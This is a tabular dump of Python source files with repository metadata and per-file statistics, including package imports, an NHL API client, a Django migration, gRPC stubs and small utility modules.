| 14.5 | 28 | 0.827586 | 4 | 29 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dbc29cddb20c2520df94629a12739bc825187dbb | 260 | py | Python | rl/oracles/__init__.py | gtrll/librl | 39709c3e485e232865b3e08b7211cd9d871c666a | [
"MIT"
] | 5 | 2020-07-14T23:01:53.000Z | 2020-12-09T08:11:29.000Z | rl/oracles/__init__.py | chinganc/mamba | e8adf0cf91660aed2c025508137a14f9d062248c | [
"MIT"
] | 1 | 2022-03-27T04:43:31.000Z | 2022-03-27T04:43:31.000Z | rl/oracles/__init__.py | chinganc/mamba | e8adf0cf91660aed2c025508137a14f9d062248c | [
"MIT"
] | 4 | 2020-08-05T14:13:26.000Z | 2022-02-26T00:46:03.000Z | from rl.oracles.oracle import rlOracle
#from rl.oracles.reinforcement_oracles import tfPolicyGradient
#from rl.oracles.simulation_oracles import SimulationOracle
#from rl.oracles.meta_oracles import LazyOracle, AdversarialOracle, AggregatedOracle, DummyOracle
| 52 | 97 | 0.873077 | 30 | 260 | 7.466667 | 0.5 | 0.107143 | 0.232143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073077 | 260 | 4 | 98 | 65 | 0.929461 | 0.826923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
91ebd2178e03285f842f6410e1a428a8cd71d30c | 2,285 | py | Python | hockeygamebot/nhlapi/api.py | mattdonders/DevilsGoalBot | 4409bea8d997c2f693d4c2e9c129899fca380640 | [
"MIT"
] | null | null | null | hockeygamebot/nhlapi/api.py | mattdonders/DevilsGoalBot | 4409bea8d997c2f693d4c2e9c129899fca380640 | [
"MIT"
] | null | null | null | hockeygamebot/nhlapi/api.py | mattdonders/DevilsGoalBot | 4409bea8d997c2f693d4c2e9c129899fca380640 | [
"MIT"
] | null | null | null | """
Single module to call the NHL API.
"""
import logging
import requests
from requests.adapters import HTTPAdapter
from requests.exceptions import ConnectionError, RequestException
from hockeygamebot.helpers import arguments, utils
from hockeygamebot.models.sessions import SessionFactory
def nhl_api(endpoint):
... | 25.674157 | 85 | 0.653829 | 278 | 2,285 | 5.28777 | 0.258993 | 0.033333 | 0.021769 | 0.043537 | 0.740816 | 0.727891 | 0.727891 | 0.727891 | 0.702721 | 0.702721 | 0 | 0.005711 | 0.233698 | 2,285 | 88 | 86 | 25.965909 | 0.833809 | 0.037199 | 0 | 0.730159 | 0 | 0 | 0.132299 | 0.00958 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.095238 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
37f51c524d57829292b9418d70c37dc633c49911 | 135 | py | Python | oktopus/__init__.py | exowanderer/oktopus | efe394a433be14d2ba3bec679b8667b700b7f7b9 | [
"MIT"
] | 17 | 2017-09-30T19:25:24.000Z | 2022-03-29T16:58:54.000Z | oktopus/__init__.py | exowanderer/oktopus | efe394a433be14d2ba3bec679b8667b700b7f7b9 | [
"MIT"
] | 8 | 2017-10-17T06:01:31.000Z | 2020-03-31T08:54:09.000Z | oktopus/__init__.py | exowanderer/oktopus | efe394a433be14d2ba3bec679b8667b700b7f7b9 | [
"MIT"
] | 5 | 2017-09-30T16:27:33.000Z | 2020-06-28T07:47:33.000Z | import os
from .version import __version__
from .loss import *
from .prior import *
from .likelihood import *
from .posterior import *
| 19.285714 | 32 | 0.77037 | 18 | 135 | 5.555556 | 0.444444 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162963 | 135 | 6 | 33 | 22.5 | 0.884956 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
530ad85c3e36411edd1322e52c77c258c15d2a7e | 70 | py | Python | reshade/utils/__init__.py | jamesjiang52/Reshade | ddc87424c50030b4606c4eb5ec61b4be1d4cad98 | [
"MIT"
] | null | null | null | reshade/utils/__init__.py | jamesjiang52/Reshade | ddc87424c50030b4606c4eb5ec61b4be1d4cad98 | [
"MIT"
] | null | null | null | reshade/utils/__init__.py | jamesjiang52/Reshade | ddc87424c50030b4606c4eb5ec61b4be1d4cad98 | [
"MIT"
] | null | null | null | from .flatten import *
from .validate import *
from .zeropad import *
| 17.5 | 23 | 0.742857 | 9 | 70 | 5.777778 | 0.555556 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171429 | 70 | 3 | 24 | 23.333333 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
530b4efd36f681ad761a891d27836573d1a568a1 | 47 | py | Python | terrascript/vault/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | terrascript/vault/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | terrascript/vault/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | # terrascript/vault/d.py
import terrascript
| 9.4 | 25 | 0.765957 | 6 | 47 | 6 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148936 | 47 | 4 | 26 | 11.75 | 0.9 | 0.468085 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
531ae23404887b1f38f72715aeef4d7ca4695123 | 34 | py | Python | umetna_inteligenca.py | AnzeMarinko/dostava | a10d3e5ab3c8084c385b9bfab7397970bae4a7a1 | [
"MIT"
] | null | null | null | umetna_inteligenca.py | AnzeMarinko/dostava | a10d3e5ab3c8084c385b9bfab7397970bae4a7a1 | [
"MIT"
] | null | null | null | umetna_inteligenca.py | AnzeMarinko/dostava | a10d3e5ab3c8084c385b9bfab7397970bae4a7a1 | [
"MIT"
] | null | null | null | import podatkovne_strukture as ps
| 17 | 33 | 0.882353 | 5 | 34 | 5.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.966667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5322863a2eb3cc2329db07970b4d7d4a6ffb2c43 | 27 | py | Python | hello.py | athira-vs/HelloWorld | 7d21969479a10f560983d76e5d8fc983b65044a5 | [
"MIT"
] | null | null | null | hello.py | athira-vs/HelloWorld | 7d21969479a10f560983d76e5d8fc983b65044a5 | [
"MIT"
] | null | null | null | hello.py | athira-vs/HelloWorld | 7d21969479a10f560983d76e5d8fc983b65044a5 | [
"MIT"
] | null | null | null | print("\n\n\tHello World")
| 13.5 | 26 | 0.666667 | 5 | 27 | 3.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 27 | 1 | 27 | 27 | 0.72 | 0 | 0 | 0 | 0 | 0 | 0.62963 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
5337870afd7689004241845713c825691d9fda0e | 170 | py | Python | basiclive/utils/cache.py | znarthur/basic-live | 79c194311de05af2e1bb21d1bc8c6c14dda356d0 | [
"BSD-3-Clause"
] | null | null | null | basiclive/utils/cache.py | znarthur/basic-live | 79c194311de05af2e1bb21d1bc8c6c14dda356d0 | [
"BSD-3-Clause"
] | 1 | 2020-12-03T15:27:09.000Z | 2020-12-03T15:27:09.000Z | basiclive/utils/cache.py | znarthur/basic-live | 79c194311de05af2e1bb21d1bc8c6c14dda356d0 | [
"BSD-3-Clause"
] | 1 | 2021-09-28T21:06:09.000Z | 2021-09-28T21:06:09.000Z | import hashlib
def make_key(key, key_prefix, version):
hashed_key = hashlib.md5(key.encode("utf-8")).hexdigest()
return f'{key_prefix}:{version}:{hashed_key}'
| 21.25 | 61 | 0.705882 | 25 | 170 | 4.6 | 0.6 | 0.104348 | 0.278261 | 0.382609 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013514 | 0.129412 | 170 | 7 | 62 | 24.285714 | 0.763514 | 0 | 0 | 0 | 0 | 0 | 0.236686 | 0.207101 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
534a0a1d5d172e6d82d10954aa6d6ae8e29e7e48 | 218 | py | Python | bucles/for.py | charlesgmont/basico-python | cbffdcc8c469f3401586149c500ecc792b8ff587 | [
"MIT"
] | null | null | null | bucles/for.py | charlesgmont/basico-python | cbffdcc8c469f3401586149c500ecc792b8ff587 | [
"MIT"
] | null | null | null | bucles/for.py | charlesgmont/basico-python | cbffdcc8c469f3401586149c500ecc792b8ff587 | [
"MIT"
] | null | null | null |
#contador = 1
#print(contador)
#while contador < 1000:
##contador = contador + 1
#contador =+ 1
#print(contador)
#a = list(range(1000))
#print(a)
#for contador in range(1, 1001):
#print(contador)
| 13.625 | 32 | 0.614679 | 28 | 218 | 4.785714 | 0.392857 | 0.201493 | 0.208955 | 0.328358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094675 | 0.224771 | 218 | 15 | 33 | 14.533333 | 0.698225 | 0.802752 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
729c46ac8494e4ada5705185ee361262048a548d | 46 | py | Python | alkaid/net/__init__.py | Renovamen/alkaid | 78bb19c3d18856234dec9444235b749c6006655f | [
"MIT"
] | 1 | 2021-06-04T10:33:44.000Z | 2021-06-04T10:33:44.000Z | alkaid/net/__init__.py | Renovamen/alkaid | 78bb19c3d18856234dec9444235b749c6006655f | [
"MIT"
] | null | null | null | alkaid/net/__init__.py | Renovamen/alkaid | 78bb19c3d18856234dec9444235b749c6006655f | [
"MIT"
] | null | null | null | from .backbone import MLP
from .qnet import *
| 15.333333 | 25 | 0.76087 | 7 | 46 | 5 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 46 | 2 | 26 | 23 | 0.921053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
72c20dda30d6214f2c1f3772050400a89e8545ad | 314 | py | Python | am/scraper/interpreters/__init__.py | access-missouri/am-django-project | 2457b8089900c61c73000c1d7479b7a72f6d1855 | [
"BSD-2-Clause"
] | 4 | 2018-05-01T20:31:49.000Z | 2021-12-20T19:30:40.000Z | am/scraper/interpreters/__init__.py | access-missouri/am-django-project | 2457b8089900c61c73000c1d7479b7a72f6d1855 | [
"BSD-2-Clause"
] | 22 | 2017-04-13T15:02:09.000Z | 2021-02-02T21:48:41.000Z | am/scraper/interpreters/__init__.py | access-missouri/am-django-project | 2457b8089900c61c73000c1d7479b7a72f6d1855 | [
"BSD-2-Clause"
] | 1 | 2018-07-02T20:08:43.000Z | 2018-07-02T20:08:43.000Z | from .base import BaseInterpreter
from .HouseBillListInterpreter import HouseBillListInterpreter
from .HouseBillPageActionsInterpreter import HouseBillPageActionsInterpreter
from .HouseBillPageContentInterpreter import HouseBillPageContentInterpreter
from .HouseBillPageInterpreter import HouseBillPageInterpreter
| 52.333333 | 76 | 0.920382 | 20 | 314 | 14.45 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063694 | 314 | 5 | 77 | 62.8 | 0.982993 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
72fbab44505c9c29043f1b27470b1b80ea80886e | 85 | py | Python | commands/__init__.py | TAG-Epic/eventful | 5557906113882f1dc4759aeb96f344fb99853248 | [
"MIT"
] | null | null | null | commands/__init__.py | TAG-Epic/eventful | 5557906113882f1dc4759aeb96f344fb99853248 | [
"MIT"
] | null | null | null | commands/__init__.py | TAG-Epic/eventful | 5557906113882f1dc4759aeb96f344fb99853248 | [
"MIT"
] | null | null | null | """
Created by Epic at 9/25/20
"""
from .help_command import execute as help_command
| 17 | 49 | 0.741176 | 15 | 85 | 4.066667 | 0.866667 | 0.360656 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069444 | 0.152941 | 85 | 4 | 50 | 21.25 | 0.777778 | 0.305882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
72ffd77bb755bcbe0bb08c11f7e39c0ce186b3b6 | 999 | py | Python | zerver/migrations/0362_send_typing_notifications_user_setting.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 17,004 | 2015-09-25T18:27:24.000Z | 2022-03-31T22:02:32.000Z | zerver/migrations/0362_send_typing_notifications_user_setting.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 20,344 | 2015-09-25T19:02:42.000Z | 2022-03-31T23:54:40.000Z | zerver/migrations/0362_send_typing_notifications_user_setting.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 7,271 | 2015-09-25T18:48:39.000Z | 2022-03-31T21:06:11.000Z | # Generated by Django 3.2.7 on 2021-10-03 07:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("zerver", "0361_realm_create_web_public_stream_policy"),
]
operations = [
migrations.AddField(
model_name="realmuserdefault",
... | 29.382353 | 65 | 0.61962 | 92 | 999 | 6.48913 | 0.456522 | 0.120603 | 0.154104 | 0.180905 | 0.723618 | 0.723618 | 0.723618 | 0.624791 | 0.624791 | 0.624791 | 0 | 0.026499 | 0.282282 | 999 | 33 | 66 | 30.272727 | 0.806137 | 0.045045 | 0 | 0.740741 | 1 | 0 | 0.243697 | 0.180672 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.148148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f40e3095a404b5115367b90810ec891921967a0b | 171 | py | Python | hubspot/cms/performance/api/__init__.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 117 | 2020-04-06T08:22:53.000Z | 2022-03-18T03:41:29.000Z | hubspot/cms/performance/api/__init__.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 62 | 2020-04-06T16:21:06.000Z | 2022-03-17T16:50:44.000Z | hubspot/cms/performance/api/__init__.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 45 | 2020-04-06T16:13:52.000Z | 2022-03-30T21:33:17.000Z | from __future__ import absolute_import
# flake8: noqa
# import apis into api package
from hubspot.cms.performance.api.public_performance_api import PublicPerformanceApi
| 24.428571 | 83 | 0.847953 | 22 | 171 | 6.272727 | 0.681818 | 0.202899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006579 | 0.111111 | 171 | 6 | 84 | 28.5 | 0.901316 | 0.239766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f42e4bbead554261f1dc093ad587b98fe804f7fc | 5,298 | py | Python | odps/tunnel/tests/test_pb.py | wjsi/aliyun-odps-python-sdk | 8b064340e4376def201b8d8fdc0c2fa021aae9be | [
"Apache-2.0"
] | 412 | 2015-11-01T09:27:52.000Z | 2022-03-26T05:04:03.000Z | odps/tunnel/tests/test_pb.py | wjsi/aliyun-odps-python-sdk | 8b064340e4376def201b8d8fdc0c2fa021aae9be | [
"Apache-2.0"
] | 168 | 2015-11-16T09:46:39.000Z | 2022-03-17T06:35:26.000Z | odps/tunnel/tests/test_pb.py | wjsi/aliyun-odps-python-sdk | 8b064340e4376def201b8d8fdc0c2fa021aae9be | [
"Apache-2.0"
] | 103 | 2015-12-01T08:10:09.000Z | 2022-02-21T12:46:35.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 1999-2017 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... | 46.473684 | 103 | 0.68724 | 673 | 5,298 | 5.15899 | 0.224369 | 0.108583 | 0.064516 | 0.08871 | 0.765265 | 0.752016 | 0.752016 | 0.731279 | 0.731279 | 0.731279 | 0 | 0.041696 | 0.207814 | 5,298 | 113 | 104 | 46.884956 | 0.785561 | 0.115515 | 0 | 0.767442 | 0 | 0 | 0.0152 | 0 | 0 | 0 | 0 | 0 | 0.360465 | 1 | 0.023256 | false | 0 | 0.127907 | 0 | 0.162791 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f44485ae702c81a470e295357672b351b9da8c9a | 440 | py | Python | masonite/contracts/SessionContract.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | masonite/contracts/SessionContract.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | masonite/contracts/SessionContract.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class SessionContract(ABC):
@abstractmethod
def get(self): pass
@abstractmethod
def set(self): pass
@abstractmethod
def has(self): pass
@abstractmethod
def all(self): pass
@abstractmethod
def delete(self): pass
@abstractmethod
... | 15.172414 | 35 | 0.652273 | 48 | 440 | 5.979167 | 0.354167 | 0.473868 | 0.536585 | 0.609756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.265909 | 440 | 28 | 36 | 15.714286 | 0.888545 | 0 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.444444 | false | 0.444444 | 0.055556 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
f487832f5b5a637e81a3ed4db05271ba75164b67 | 12,708 | py | Python | python/src/toit/api/user_pb2_grpc.py | toitware/ap | 4b72d7ed43efe6b7e79bee1bfb5a9fc81fa16edb | [
"MIT"
] | 7 | 2020-03-20T14:10:53.000Z | 2021-11-28T04:05:24.000Z | python/src/toit/api/user_pb2_grpc.py | toitware/ap | 4b72d7ed43efe6b7e79bee1bfb5a9fc81fa16edb | [
"MIT"
] | 9 | 2020-03-19T06:54:17.000Z | 2022-03-17T05:07:00.000Z | python/src/toit/api/user_pb2_grpc.py | toitware/ap | 4b72d7ed43efe6b7e79bee1bfb5a9fc81fa16edb | [
"MIT"
] | 1 | 2021-08-15T16:31:07.000Z | 2021-08-15T16:31:07.000Z | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from toit.api import organization_pb2 as toit_dot_api_dot_organization__pb2
from toit.api import user_pb2 as toit_dot_api_dot_user__pb2
class UserStub(object):... | 47.774436 | 119 | 0.681933 | 1,176 | 12,708 | 7.007653 | 0.095238 | 0.037374 | 0.053392 | 0.069409 | 0.832909 | 0.832909 | 0.802087 | 0.731101 | 0.517898 | 0.410994 | 0 | 0.004814 | 0.248033 | 12,708 | 265 | 120 | 47.954717 | 0.857576 | 0.062952 | 0 | 0.502242 | 1 | 0 | 0.073259 | 0.03976 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071749 | false | 0.174888 | 0.013453 | 0.03139 | 0.130045 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
beafbae1e81abbe53ec1c0797f1ed6abd52a8675 | 37 | py | Python | python/GMatNonLinearElastic/__init__.py | tdegeus/GMatNonLinearElastic | 265463cd772ac318bee33a7705b7126ee53d59df | [
"MIT"
] | null | null | null | python/GMatNonLinearElastic/__init__.py | tdegeus/GMatNonLinearElastic | 265463cd772ac318bee33a7705b7126ee53d59df | [
"MIT"
] | 14 | 2019-04-11T14:16:36.000Z | 2021-08-30T07:09:50.000Z | python/GMatNonLinearElastic/__init__.py | tdegeus/GMatNonLinearElastic | 265463cd772ac318bee33a7705b7126ee53d59df | [
"MIT"
] | null | null | null | from ._GMatNonLinearElastic import *
| 18.5 | 36 | 0.837838 | 3 | 37 | 10 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bec050b50bcd70d20a5ae670e1f7f6d4ab972f79 | 15 | py | Python | tasks/EPAM/python_course/foundation-python/l8/m8-5.py | AleksNeStu/projects | 1a4c68dfbdcb77228f0f3617e58fd18fcb1f5dbb | [
"Apache-2.0"
] | 2 | 2022-01-19T18:01:35.000Z | 2022-02-06T06:54:38.000Z | tasks/EPAM/python_course/foundation-python/l8/m8-5.py | AleksNeStu/projects | 1a4c68dfbdcb77228f0f3617e58fd18fcb1f5dbb | [
"Apache-2.0"
] | null | null | null | tasks/EPAM/python_course/foundation-python/l8/m8-5.py | AleksNeStu/projects | 1a4c68dfbdcb77228f0f3617e58fd18fcb1f5dbb | [
"Apache-2.0"
] | null | null | null | """Slide"""
| 3 | 11 | 0.333333 | 1 | 15 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 15 | 4 | 12 | 3.75 | 0.454545 | 0.333333 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fe3bba90c52421eab24a08a31fa6646de5a1200d | 1,558 | py | Python | inference-pipeline/inference_utils.py | w210-accessibility/classify-streetview | d60328484ea992b4cb2ffecb04bb548efaf06f1b | [
"MIT"
] | 2 | 2020-06-23T04:02:50.000Z | 2022-02-08T00:59:24.000Z | inference-pipeline/inference_utils.py | w210-accessibility/classify-streetview | d60328484ea992b4cb2ffecb04bb548efaf06f1b | [
"MIT"
] | null | null | null | inference-pipeline/inference_utils.py | w210-accessibility/classify-streetview | d60328484ea992b4cb2ffecb04bb548efaf06f1b | [
"MIT"
] | null | null | null | import pandas as pd
import os
def aggregate_by_test_image(df_final):
# Get the img_id, heading and crop_num info
